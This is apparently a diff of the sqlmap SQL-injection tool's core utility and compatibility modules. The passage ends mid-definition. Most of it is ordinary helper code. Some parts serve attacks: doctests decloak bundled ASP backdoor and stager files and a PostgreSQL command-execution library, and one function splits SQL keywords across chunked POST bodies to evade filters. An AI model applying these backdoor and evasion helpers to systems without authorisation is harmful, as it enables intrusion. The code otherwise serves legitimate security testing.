any(retVal.endswith(':%d' % _) for _ in [80, 443]): - retVal = retVal.split(':')[0] + if url: + retVal = _urllib.parse.urlparse(url).netloc + + if re.search(r"http(s)?://\[.+\]", url, re.I): + retVal = extractRegexResult(r"http(s)?://\[(?P.+)\]", url) + elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): + retVal = retVal.split(':')[0] + + if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')): + retVal = "[%s]" % retVal return retVal +def checkOldOptions(args): + """ + Checks for obsolete/deprecated options + """ + + for _ in args: + _ = _.split('=')[0].strip() + if _ in OBSOLETE_OPTIONS: + errMsg = "switch/option '%s' is obsolete" % _ + if OBSOLETE_OPTIONS[_]: + errMsg += " (hint: %s)" % OBSOLETE_OPTIONS[_] + raise SqlmapSyntaxException(errMsg) + elif _ in DEPRECATED_OPTIONS: + warnMsg = "switch/option '%s' is deprecated" % _ + if DEPRECATED_OPTIONS[_]: + warnMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] + logger.warning(warnMsg) + +def checkSystemEncoding(): + """ + Checks for problematic encodings + """ + + if sys.getdefaultencoding() == "cp720": + try: + codecs.lookup("cp720") + except LookupError: + errMsg = "there is a known Python issue (#1616979) related " + errMsg += "to support for charset 'cp720'. Please visit " + errMsg += "'http://blog.oneortheother.info/tip/python-fix-cp720-encoding/index.html' " + errMsg += "and follow the instructions to be able to fix it" + logger.critical(errMsg) + + warnMsg = "temporary switching to charset 'cp1256'" + logger.warning(warnMsg) + + _reload_module(sys) + sys.setdefaultencoding("cp1256") + def evaluateCode(code, variables=None): """ Executes given python code given in a string form + + >>> _ = {}; evaluateCode("a = 1; b = 2; c = a", _); _["c"] + 1 """ try: exec(code, variables) - except Exception, ex: - errMsg = "an error occured while evaluating provided code ('%s'). " % ex - raise sqlmapGenericException, errMsg + except KeyboardInterrupt: + raise + except Exception as ex: + errMsg = "an error occurred while evaluating provided code ('%s') " % getSafeExString(ex) + raise SqlmapGenericException(errMsg) def serializeObject(object_): """ Serializes given object + + >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str + True """ return base64pickle(object_) @@ -3027,6 +4914,11 @@ def serializeObject(object_): def unserializeObject(value): """ Unserializes object from given serialized form + + >>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3] + True + >>> unserializeObject('gAJVBmZvb2JhcnEBLg==') + 'foobar' """ return base64unpickle(value) if value else None @@ -3048,6 +4940,9 @@ def incrementCounter(technique): def getCounter(technique): """ Returns query counter for a given technique + + >>> resetCounter(PAYLOAD.TECHNIQUE.STACKED); incrementCounter(PAYLOAD.TECHNIQUE.STACKED); getCounter(PAYLOAD.TECHNIQUE.STACKED) + 1 """ return kb.counters.get(technique, 0) @@ -3055,6 +4950,9 @@ def getCounter(technique): def applyFunctionRecursively(value, function): """ Applies function recursively through list-like structures + + >>> applyFunctionRecursively([1, 2, [3, 4, [19]], -9], lambda _: _ > 0) + [True, True, [True, True, [True]], False] """ if isListLike(value): @@ -3064,33 +4962,64 @@ def applyFunctionRecursively(value, function): return retVal -def decodeHexValue(value): +def decodeDbmsHexValue(value, raw=False): """ Returns value decoded from DBMS specific hexadecimal representation + + >>> decodeDbmsHexValue('3132332031') == u'123 1' + True + >>> decodeDbmsHexValue('31003200330020003100') == u'123 1' + True + >>> decodeDbmsHexValue('00310032003300200031') == u'123 1' + True + >>> decodeDbmsHexValue('0x31003200330020003100') == u'123 1' + True + >>> decodeDbmsHexValue('313233203') == u'123 ?' + True + >>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2'] + True + >>> decodeDbmsHexValue('5.1.41') == u'5.1.41' + True """ retVal = value def _(value): - if value and isinstance(value, basestring) and len(value) % 2 == 0: - if value.lower().startswith("0x"): - value = value[2:] - value = value.decode("hex") - if len(value) > 1 and value[1] == '\x00': - try: - value = value.decode("utf-16-le") - except UnicodeDecodeError: - pass - elif value and value[0] == '\x00': - try: - value = value.decode("utf-16-be") - except UnicodeDecodeError: - pass - return value + retVal = value + if value and isinstance(value, six.string_types): + value = value.strip() + + if len(value) % 2 != 0: + retVal = (decodeHex(value[:-1]) + b'?') if len(value) > 1 else value + singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) + else: + retVal = decodeHex(value) + + if not raw: + if not kb.binaryField: + if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): + try: + retVal = retVal.decode("utf-16-le") + except UnicodeDecodeError: + pass + + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2): + try: + retVal = retVal.decode("utf-16-be") + except UnicodeDecodeError: + pass + + if not isinstance(retVal, six.text_type): + retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING) + + if u"\x00" in retVal: + retVal = retVal.replace(u"\x00", u"") + + return retVal try: retVal = applyFunctionRecursively(value, _) - except Exception: + except: singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) return retVal @@ -3098,6 +5027,17 @@ def _(value): def extractExpectedValue(value, expected): """ Extracts and returns expected value by a given type + + >>> extractExpectedValue(['1'], EXPECTED.BOOL) + True + >>> extractExpectedValue(['17'], EXPECTED.BOOL) + True + >>> extractExpectedValue(['0'], EXPECTED.BOOL) + False + >>> extractExpectedValue('1', EXPECTED.INT) + 1 + >>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None + True """ if expected: @@ -3108,69 +5048,601 @@ def extractExpectedValue(value, expected): elif expected == EXPECTED.BOOL: if isinstance(value, int): value = bool(value) - elif isinstance(value, basestring): + elif isinstance(value, six.string_types): value = value.strip().lower() if value in ("true", "false"): value = value == "true" - elif value in ("1", "-1"): - value = True - elif value == "0": + elif value in ('t', 'f'): + value = value == 't' + elif value == '0': value = False + elif re.search(r"\A-?[1-9]\d*\Z", value): + value = True else: value = None elif expected == EXPECTED.INT: - if isinstance(value, basestring): - value = int(value) if value.isdigit() else None + try: + value = int(value) + except: + value = None return value -def setFormatterPrependFlag(value=True): - """ - Sets logging formatter flag used for signaling if newline is needed before - the logging message itself (used in inference mode) - """ - - FORMATTER._prepend_flag = value - def hashDBWrite(key, value, serialize=False): """ Helper function for writing session data to HashDB """ - _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) - conf.hashDB.write(_, value, serialize) + if conf.hashDB: + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + conf.hashDB.write(_, value, serialize) def hashDBRetrieve(key, unserialize=False, checkConf=False): """ Helper function for restoring session data from HashDB """ - _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) - _ = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any([conf.flushSession, conf.freshQueries])) else None - if not kb.inferenceMode and _ and PARTIAL_VALUE_MARKER in _: - _ = None - return _ + retVal = None + + if conf.hashDB: + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None + + if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, six.string_types) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): + retVal = None + + return retVal def resetCookieJar(cookieJar): """ Cleans cookies from a given cookie jar """ - if not conf.loC: + if not conf.loadCookies: cookieJar.clear() else: try: - cookieJar.load(conf.loC) + if not cookieJar.filename: + infoMsg = "loading cookies from '%s'" % conf.loadCookies + logger.info(infoMsg) + + content = readCachedFileContent(conf.loadCookies) + content = re.sub("(?im)^#httpOnly_", "", content) + lines = filterNone(line.strip() for line in content.split("\n") if not line.startswith('#')) + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR) + os.close(handle) + + # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html + with openFile(filename, "w+") as f: + f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES) + for line in lines: + _ = line.split("\t") + if len(_) == 7: + _[4] = FORCE_COOKIE_EXPIRATION_TIME + f.write("\n%s" % "\t".join(_)) + + cookieJar.filename = filename + + cookieJar.load(cookieJar.filename, ignore_expires=True) + + for cookie in cookieJar: + if getattr(cookie, "expires", MAX_INT) < time.time(): + warnMsg = "cookie '%s' has expired" % cookie + singleTimeWarnMessage(warnMsg) + cookieJar.clear_expired_cookies() - except cookielib.LoadError, msg: + + if not cookieJar._cookies: + errMsg = "no valid cookies found" + raise SqlmapGenericException(errMsg) + + except Exception as ex: errMsg = "there was a problem loading " - errMsg += "cookies file ('%s')" % msg - raise sqlmapGenericException, errMsg + errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", getSafeExString(ex)) + raise SqlmapGenericException(errMsg) + +def decloakToTemp(filename): + """ + Decloaks content of a given file to a temporary file with similar name and extension + + NOTE: using in-memory decloak() in docTests because of the "problem" on Windows platform + + >>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.asp_")).startswith(b'<%') + True + >>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_")).startswith(b'<%') + True + >>> b'sys_eval' in decloak(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_")) + True + """ + + content = decloak(filename) + + parts = os.path.split(filename[:-1])[-1].split('.') + prefix, suffix = parts[0], '.' + parts[-1] + handle, filename = tempfile.mkstemp(prefix=prefix, suffix=suffix) + os.close(handle) + + with openFile(filename, "w+b", encoding=None) as f: + f.write(content) + + return filename def prioritySortColumns(columns): """ Sorts given column names by length in ascending order while those containing string 'id' go first + + >>> prioritySortColumns(['password', 'userid', 'name', 'id']) + ['id', 'userid', 'name', 'password'] """ - _ = lambda x: x and "id" in x.lower() - return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0) + + recompile = re.compile(r"^id|id$", re.I) + + return sorted(columns, key=lambda col: ( + not (col and recompile.search(col)), + len(col) + )) + +def getRequestHeader(request, name): + """ + Solving an issue with an urllib2 Request header case sensitivity + + # Reference: http://bugs.python.org/issue2275 + + >>> _ = lambda _: _ + >>> _.headers = {"FOO": "BAR"} + >>> _.header_items = lambda: _.headers.items() + >>> getText(getRequestHeader(_, "foo")) + 'BAR' + """ + + retVal = None + + if request and request.headers and name: + _ = name.upper() + retVal = max(getBytes(value if _ == key.upper() else "") for key, value in request.header_items()) or None + + return retVal + +def isNumber(value): + """ + Returns True if the given value is a number-like object + + >>> isNumber(1) + True + >>> isNumber('0') + True + >>> isNumber('foobar') + False + """ + + try: + float(value) + except: + return False + else: + return True + +def zeroDepthSearch(expression, value): + """ + Searches occurrences of value inside expression at 0-depth level + regarding the parentheses + + >>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:] + 'FROM DUAL' + >>> _ = "a(b; c),d;e"; _[zeroDepthSearch(_, "[;, ]")[0]:] + ',d;e' + """ + + retVal = [] + + depth = 0 + for index in xrange(len(expression)): + if expression[index] == '(': + depth += 1 + elif expression[index] == ')': + depth -= 1 + elif depth == 0: + if value.startswith('[') and value.endswith(']'): + if re.search(value, expression[index:index + 1]): + retVal.append(index) + elif expression[index:index + len(value)] == value: + retVal.append(index) + + return retVal + +def splitFields(fields, delimiter=','): + """ + Returns list of (0-depth) fields splitted by delimiter + + >>> splitFields('foo, bar, max(foo, bar)') + ['foo', 'bar', 'max(foo,bar)'] + """ + + fields = fields.replace("%s " % delimiter, delimiter) + commas = [-1, len(fields)] + commas.extend(zeroDepthSearch(fields, ',')) + commas = sorted(commas) + + return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])] + +def pollProcess(process, suppress_errors=False): + """ + Checks for process status (prints . if still running) + """ + + while process: + dataToStdout(".") + time.sleep(1) + + returncode = process.poll() + + if returncode is not None: + if not suppress_errors: + if returncode == 0: + dataToStdout(" done\n") + elif returncode < 0: + dataToStdout(" process terminated by signal %d\n" % returncode) + elif returncode > 0: + dataToStdout(" quit unexpectedly with return code %d\n" % returncode) + + break + +def parseRequestFile(reqFile, checkParams=True): + """ + Parses WebScarab and Burp logs and adds results to the target URL list + + >>> handle, reqFile = tempfile.mkstemp(suffix=".req") + >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n" + >>> _ = os.write(handle, content) + >>> os.close(handle) + >>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com'))) + True + """ + + def _parseWebScarabLog(content): + """ + Parses WebScarab logs (POST method not supported) + """ + + if WEBSCARAB_SPLITTER not in content: + return + + reqResList = content.split(WEBSCARAB_SPLITTER) + + for request in reqResList: + url = extractRegexResult(r"URL: (?P.+?)\n", request, re.I) + method = extractRegexResult(r"METHOD: (?P.+?)\n", request, re.I) + cookie = extractRegexResult(r"COOKIE: (?P.+?)\n", request, re.I) + + if not method or not url: + logger.debug("not a valid WebScarab log data") + continue + + if method.upper() == HTTPMETHOD.POST: + warnMsg = "POST requests from WebScarab logs aren't supported " + warnMsg += "as their body content is stored in separate files. " + warnMsg += "Nevertheless you can use -r to load them individually." + logger.warning(warnMsg) + continue + + if not (conf.scope and not re.search(conf.scope, url, re.I)): + yield (url, method, None, cookie, tuple()) + + def _parseBurpLog(content): + """ + Parses Burp logs + """ + + if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): + if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): + reqResList = [] + for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): + port, request = match.groups() + try: + request = decodeBase64(request, binary=False) + except (binascii.Error, TypeError): + continue + _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) + if _: + host = _.group(0).strip() + if not re.search(r":\d+\Z", host) and int(port) != 80: + request = request.replace(host, "%s:%d" % (host, int(port))) + reqResList.append(request) + else: + reqResList = [content] + else: + reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) + + for match in reqResList: + request = match if isinstance(match, six.string_types) else match.group(1) + request = re.sub(r"\A[^\w]+", "", request) + schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) + + if schemePort: + scheme = schemePort.group(1) + port = schemePort.group(2) + request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip()) + else: + scheme, port = None, None + + if "HTTP/" not in request: + continue + + if re.search(r"^[\n]*%s[^?]*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): + if not re.search(r"^[\n]*%s[^\n]*\*[^\n]*\sHTTP\/" % HTTPMETHOD.GET, request, re.I | re.M): + continue + + getPostReq = False + forceBody = False + url = None + host = None + method = None + data = None + cookie = None + params = False + newline = None + lines = request.split('\n') + headers = [] + + for index in xrange(len(lines)): + line = lines[index] + + if not line.strip() and index == len(lines) - 1: + break + + line = re.sub(INJECT_HERE_REGEX, CUSTOM_INJECTION_MARK_CHAR, line) + + newline = "\r\n" if line.endswith('\r') else '\n' + line = line.strip('\r') + match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None + + if len(line.strip()) == 0 and method and (method != HTTPMETHOD.GET or forceBody) and data is None: + data = "" + params = True + + elif match: + method = match.group(1) + url = match.group(2) + + if any(_ in line for _ in ('?', '=', kb.customInjectionMark)): + params = True + + getPostReq = True + + # POST parameters + elif data is not None and params: + data += "%s%s" % (line, newline) + + # GET parameters + elif "?" in line and "=" in line and ": " not in line: + params = True + + # Headers + elif re.search(r"\A\S+:", line): + key, value = line.split(":", 1) + value = value.strip().replace("\r", "").replace("\n", "") + + # Note: overriding values with --headers '...' + match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "") + if match: + key, value = match.groups() + + # Cookie and Host headers + if key.upper() == HTTP_HEADER.COOKIE.upper(): + cookie = value + elif key.upper() == HTTP_HEADER.HOST.upper(): + if '://' in value: + scheme, value = value.split('://')[:2] + + port = extractRegexResult(r":(?P\d+)\Z", value) + if port: + host = value[:-(1 + len(port))] + else: + host = value + + # Avoid to add a static content length header to + # headers and consider the following lines as + # POSTed data + if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): + forceBody = True + params = True + + # Avoid proxy and connection type related headers + elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH): + headers.append((getUnicode(key), getUnicode(value))) + + if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): + params = True + + data = data.rstrip("\r\n") if data else data + + if getPostReq and (params or cookie or not checkParams): + if not port and hasattr(scheme, "lower") and scheme.lower() == "https": + port = "443" + elif not scheme and port == "443": + scheme = "https" + + if conf.forceSSL: + scheme = "https" + port = port or "443" + + if not host: + errMsg = "invalid format of a request file" + raise SqlmapSyntaxException(errMsg) + + if not url.startswith("http"): + url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) + scheme = None + port = None + + if not (conf.scope and not re.search(conf.scope, url, re.I)): + yield (url, conf.method or method, data, cookie, tuple(headers)) + + content = readCachedFileContent(reqFile) + + if conf.scope: + logger.info("using regular expression '%s' for filtering targets" % conf.scope) + + try: + re.compile(conf.scope) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + + for target in _parseBurpLog(content): + yield target + + for target in _parseWebScarabLog(content): + yield target + +def getSafeExString(ex, encoding=None): + """ + Safe way how to get the proper exception represtation as a string + + >>> getSafeExString(SqlmapBaseException('foobar')) == 'foobar' + True + >>> getSafeExString(OSError(0, 'foobar')) == 'OSError: foobar' + True + """ + + retVal = None + + if getattr(ex, "message", None): + retVal = ex.message + elif getattr(ex, "msg", None): + retVal = ex.msg + elif getattr(ex, "args", None): + for candidate in ex.args[::-1]: + if isinstance(candidate, six.string_types): + retVal = candidate + break + + if retVal is None: + retVal = str(ex) + elif not isinstance(ex, SqlmapBaseException): + retVal = "%s: %s" % (type(ex).__name__, retVal) + + return getUnicode(retVal or "", encoding=encoding).strip() + +def safeVariableNaming(value): + """ + Returns escaped safe-representation of a given variable name that can be used in Python evaluated code + + >>> safeVariableNaming("class.id") == "EVAL_636c6173732e6964" + True + """ + + if value in keyword.kwlist or re.search(r"\A[^a-zA-Z]|[^\w]", value): + value = "%s%s" % (EVALCODE_ENCODED_PREFIX, getUnicode(binascii.hexlify(getBytes(value)))) + + return value + +def unsafeVariableNaming(value): + """ + Returns unescaped safe-representation of a given variable name + + >>> unsafeVariableNaming("EVAL_636c6173732e6964") == "class.id" + True + """ + + if value.startswith(EVALCODE_ENCODED_PREFIX): + value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False) + + return value + +def firstNotNone(*args): + """ + Returns first not-None value from a given list of arguments + + >>> firstNotNone(None, None, 1, 2, 3) + 1 + """ + + retVal = None + + for _ in args: + if _ is not None: + retVal = _ + break + + return retVal + +def removePostHintPrefix(value): + """ + Remove POST hint prefix from a given value (name) + + >>> removePostHintPrefix("JSON id") + 'id' + >>> removePostHintPrefix("id") + 'id' + """ + + return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value) + + +def chunkSplitPostData(data): + """ + Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords) + + >>> random.seed(0) + >>> chunkSplitPostData("SELECT username,password FROM users") + '5;4Xe90\\r\\nSELEC\\r\\n3;irWlc\\r\\nT u\\r\\n1;eT4zO\\r\\ns\\r\\n5;YB4hM\\r\\nernam\\r\\n9;2pUD8\\r\\ne,passwor\\r\\n3;mp07y\\r\\nd F\\r\\n5;8RKXi\\r\\nROM u\\r\\n4;MvMhO\\r\\nsers\\r\\n0\\r\\n\\r\\n' + """ + + length = len(data) + retVal = [] + index = 0 + + while index < length: + chunkSize = randomInt(1) + + if index + chunkSize >= length: + chunkSize = length - index + + salt = randomStr(5, alphabet=string.ascii_letters + string.digits) + + while chunkSize: + candidate = data[index:index + chunkSize] + + if re.search(r"\b%s\b" % '|'.join(HTTP_CHUNKED_SPLIT_KEYWORDS), candidate, re.I): + chunkSize -= 1 + else: + break + + index += chunkSize + + # Append to list instead of recreating the string + retVal.append("%x;%s\r\n" % (chunkSize, salt)) + retVal.append("%s\r\n" % candidate) + + retVal.append("0\r\n\r\n") + + return "".join(retVal) + +def checkSums(): + """ + Validate the content of the digest file (i.e. sha256sums.txt) + >>> checkSums() + True + """ + + retVal = True + + if paths.get("DIGEST_FILE"): + for entry in getFileItems(paths.DIGEST_FILE): + match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry) + if match: + expected, filename = match.groups() + filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) + if not checkFile(filepath, False): + continue + with open(filepath, "rb") as f: + content = f.read() + if b'\0' not in content: + content = content.replace(b"\r\n", b"\n") + if not hashlib.sha256(content).hexdigest() == expected: + retVal &= False + break + + return retVal diff --git a/lib/core/compat.py b/lib/core/compat.py new file mode 100644 index 00000000000..7020863da46 --- /dev/null +++ b/lib/core/compat.py @@ -0,0 +1,429 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from __future__ import division + +import codecs +import binascii +import functools +import io +import math +import os +import random +import re +import sys +import time +import uuid + +class WichmannHill(random.Random): + """ + Reference: https://svn.python.org/projects/python/trunk/Lib/random.py + """ + + VERSION = 1 # used by getstate/setstate + + def seed(self, a=None): + """Initialize internal state from hashable object. + + None or no argument seeds from current time or from an operating + system specific randomness source if available. + + If a is not None or an int or long, hash(a) is used instead. + + If a is an int or long, a is used directly. Distinct values between + 0 and 27814431486575L inclusive are guaranteed to yield distinct + internal states (this guarantee is specific to the default + Wichmann-Hill generator). + """ + + if a is None: + try: + a = int(binascii.hexlify(os.urandom(16)), 16) + except NotImplementedError: + a = int(time.time() * 256) # use fractional seconds + + if not isinstance(a, int): + a = hash(a) + + a, x = divmod(a, 30268) + a, y = divmod(a, 30306) + a, z = divmod(a, 30322) + self._seed = int(x) + 1, int(y) + 1, int(z) + 1 + + self.gauss_next = None + + def random(self): + """Get the next random number in the range [0.0, 1.0).""" + + # Wichman-Hill random number generator. + # + # Wichmann, B. A. & Hill, I. D. (1982) + # Algorithm AS 183: + # An efficient and portable pseudo-random number generator + # Applied Statistics 31 (1982) 188-190 + # + # see also: + # Correction to Algorithm AS 183 + # Applied Statistics 33 (1984) 123 + # + # McLeod, A. I. (1985) + # A remark on Algorithm AS 183 + # Applied Statistics 34 (1985),198-200 + + # This part is thread-unsafe: + # BEGIN CRITICAL SECTION + x, y, z = self._seed + x = (171 * x) % 30269 + y = (172 * y) % 30307 + z = (170 * z) % 30323 + self._seed = x, y, z + # END CRITICAL SECTION + + # Note: on a platform using IEEE-754 double arithmetic, this can + # never return 0.0 (asserted by Tim; proof too long for a comment). + return (x / 30269.0 + y / 30307.0 + z / 30323.0) % 1.0 + + def getstate(self): + """Return internal state; can be passed to setstate() later.""" + return self.VERSION, self._seed, self.gauss_next + + def setstate(self, state): + """Restore internal state from object returned by getstate().""" + version = state[0] + if version == 1: + version, self._seed, self.gauss_next = state + else: + raise ValueError("state with version %s passed to " + "Random.setstate() of version %s" % + (version, self.VERSION)) + + def jumpahead(self, n): + """Act as if n calls to random() were made, but quickly. + + n is an int, greater than or equal to 0. + + Example use: If you have 2 threads and know that each will + consume no more than a million random numbers, create two Random + objects r1 and r2, then do + r2.setstate(r1.getstate()) + r2.jumpahead(1000000) + Then r1 and r2 will use guaranteed-disjoint segments of the full + period. + """ + + if n < 0: + raise ValueError("n must be >= 0") + x, y, z = self._seed + x = int(x * pow(171, n, 30269)) % 30269 + y = int(y * pow(172, n, 30307)) % 30307 + z = int(z * pow(170, n, 30323)) % 30323 + self._seed = x, y, z + + def __whseed(self, x=0, y=0, z=0): + """Set the Wichmann-Hill seed from (x, y, z). + + These must be integers in the range [0, 256). + """ + + if not type(x) == type(y) == type(z) == int: + raise TypeError('seeds must be integers') + if not (0 <= x < 256 and 0 <= y < 256 and 0 <= z < 256): + raise ValueError('seeds must be in range(0, 256)') + if 0 == x == y == z: + # Initialize from current time + t = int(time.time() * 256) + t = int((t & 0xffffff) ^ (t >> 24)) + t, x = divmod(t, 256) + t, y = divmod(t, 256) + t, z = divmod(t, 256) + # Zero is a poor seed, so substitute 1 + self._seed = (x or 1, y or 1, z or 1) + + self.gauss_next = None + + def whseed(self, a=None): + """Seed from hashable object's hash code. + + None or no argument seeds from current time. It is not guaranteed + that objects with distinct hash codes lead to distinct internal + states. + + This is obsolete, provided for compatibility with the seed routine + used prior to Python 2.1. Use the .seed() method instead. + """ + + if a is None: + self.__whseed() + return + a = hash(a) + a, x = divmod(a, 256) + a, y = divmod(a, 256) + a, z = divmod(a, 256) + x = (x + a) % 256 or 1 + y = (y + a) % 256 or 1 + z = (z + a) % 256 or 1 + self.__whseed(x, y, z) + +def patchHeaders(headers): + if headers is not None and not hasattr(headers, "headers"): + if isinstance(headers, dict): + class _(dict): + def __getitem__(self, key): + for key_ in self: + if key_.lower() == key.lower(): + return super(_, self).__getitem__(key_) + + raise KeyError(key) + + def get(self, key, default=None): + try: + return self[key] + except KeyError: + return default + + headers = _(headers) + + headers.headers = ["%s: %s\r\n" % (header, headers[header]) for header in headers] + + return headers + +def cmp(a, b): + """ + >>> cmp("a", "b") + -1 + >>> cmp(2, 1) + 1 + """ + + if a < b: + return -1 + elif a > b: + return 1 + else: + return 0 + +# Reference: https://github.com/urllib3/urllib3/blob/master/src/urllib3/filepost.py +def choose_boundary(): + """ + >>> len(choose_boundary()) == 32 + True + """ + + retval = "" + + try: + retval = uuid.uuid4().hex + except AttributeError: + retval = "".join(random.sample("0123456789abcdef", 1)[0] for _ in xrange(32)) + + return retval + +# Reference: http://python3porting.com/differences.html +def round(x, d=0): + """ + >>> round(2.0) + 2.0 + >>> round(2.5) + 3.0 + """ + + p = 10 ** d + if x > 0: + return float(math.floor((x * p) + 0.5)) / p + else: + return float(math.ceil((x * p) - 0.5)) / p + +# Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/ +def cmp_to_key(mycmp): + """Convert a cmp= function into a key= function""" + class K(object): + __slots__ = ['obj'] + + def __init__(self, obj, *args): + self.obj = obj + + def __lt__(self, other): + return mycmp(self.obj, other.obj) < 0 + + def __gt__(self, other): + return mycmp(self.obj, other.obj) > 0 + + def __eq__(self, other): + return mycmp(self.obj, other.obj) == 0 + + def __le__(self, other): + return mycmp(self.obj, other.obj) <= 0 + + def __ge__(self, other): + return mycmp(self.obj, other.obj) >= 0 + + def __ne__(self, other): + return mycmp(self.obj, other.obj) != 0 + + def __hash__(self): + raise TypeError('hash not implemented') + + return K + +# Note: patch for Python 2.6 +if not hasattr(functools, "cmp_to_key"): + functools.cmp_to_key = cmp_to_key + +if sys.version_info >= (3, 0): + xrange = range + buffer = memoryview +else: + xrange = xrange + buffer = buffer + +def LooseVersion(version): + """ + >>> LooseVersion("1.0") == LooseVersion("1.0") + True + >>> LooseVersion("1.0.1") > LooseVersion("1.0") + True + >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1") + True + >>> LooseVersion("1.0.11") < LooseVersion("1.0.111") + True + >>> LooseVersion("foobar") > LooseVersion("1.0") + False + >>> LooseVersion("1.0") > LooseVersion("foobar") + False + >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3") + True + >>> LooseVersion("8.0.22-0ubuntu0.20.04.2") + 8.000022 + """ + + match = re.search(r"\A(\d[\d.]*)", version or "") + + if match: + result = 0 + value = match.group(1) + weight = 1.0 + for part in value.strip('.').split('.'): + if part.isdigit(): + result += int(part) * weight + weight *= 1e-3 + else: + result = float("NaN") + + return result + +# NOTE: codecs.open re-implementation (deprecated in Python 3.14) + +try: + # Py2 + _text_type = unicode + _bytes_types = (str, bytearray) +except NameError: + # Py3 + _text_type = str + _bytes_types = (bytes, bytearray, memoryview) + +_WRITE_CHARS = ("w", "a", "x", "+") + +def _is_write_mode(mode): + return any(ch in mode for ch in _WRITE_CHARS) + +class MixedWriteTextIO(object): + """ + Text-ish stream wrapper that accepts both text and bytes in write(). + Bytes are decoded using the file's (encoding, errors) before writing. + + Optionally approximates line-buffering by flushing when a newline is written. + """ + def __init__(self, fh, encoding, errors, line_buffered=False): + self._fh = fh + self._encoding = encoding + self._errors = errors + self._line_buffered = line_buffered + + def write(self, data): + # bytes-like but not text -> decode + if isinstance(data, _bytes_types) and not isinstance(data, _text_type): + data = bytes(data).decode(self._encoding, self._errors) + elif not isinstance(data, _text_type): + data = _text_type(data) + + n = self._fh.write(data) + + # Approximate "line buffering" behavior if requested + if self._line_buffered and u"\n" in data: + try: + self._fh.flush() + except Exception: + pass + + return n + + def writelines(self, lines): + for x in lines: + self.write(x) + + def __iter__(self): + return iter(self._fh) + + def __next__(self): + return next(self._fh) + + def next(self): # Py2 + return self.__next__() + + def __getattr__(self, name): + return getattr(self._fh, name) + + def 